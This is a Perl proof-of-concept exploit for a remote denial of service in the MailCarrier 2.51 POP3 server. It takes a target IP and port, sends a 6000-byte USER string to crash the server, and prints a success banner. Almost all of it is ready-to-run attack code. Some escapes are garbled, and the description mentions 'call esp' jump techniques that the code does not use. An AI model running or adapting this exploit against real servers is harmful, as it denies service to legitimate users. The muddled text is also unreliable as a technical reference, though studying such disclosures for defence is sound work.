Authored by Fernando Mengali

MailCarrier version 2.51 remote denial of service exploit.

#!/usr/bin/perl

use IO::Socket::INET

# Exploit Title: MailCarrier 2.51 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 16 january 2024
# Tested Version: MailCarrier 2.51
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The server does not correctly handle the amount of data or bytes of the USERNAME entered by the user.
#When authenticating to the POP3 server with a long USERNAME or a USERNAME with a large number of characters for the POP3 server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

$sis="$^O";

if ($sis eq "windows"){
$cmd="cls";
} else {
$cmd="clear";
}

system("$cmd");

intro();
main();

print "[+] Exploiting... n";

my $buf = "x41" x 6000;


my $s = IO::Socket::INET->new(
PeerAddr => $ip,
PeerPort => $port,
Proto => 'tcp'
) or die "Unable to connect: $!n";

$s->recv(my $data, 1024); # Grab banners (if any)
$s->send('USER ' . $buf . "rn");
$s->recv(my $response, 1024);
$s->send("QUITrn");
$s->close();

print "[+] Done - Exploited success!!!!!nn";

sub intro {
print q {

,--,
_ ___/ /|
,;'( )__, ) ~
// // '--;
' | ^
^ ^

[+] MailCarrier 2.51 - Denial of Service (DoS)

[*] Coded by Fernando Mengali

[@] e-mail: [email protected]

}
}

sub main {

our ($ip, $port) = @ARGV;

unless (defined($ip) && defined($port)) {

print " nUsage: $0 <ip> <port> n";
exit(-1);

}
}

#3. Solution/ How to fix:

# This version product is deprecated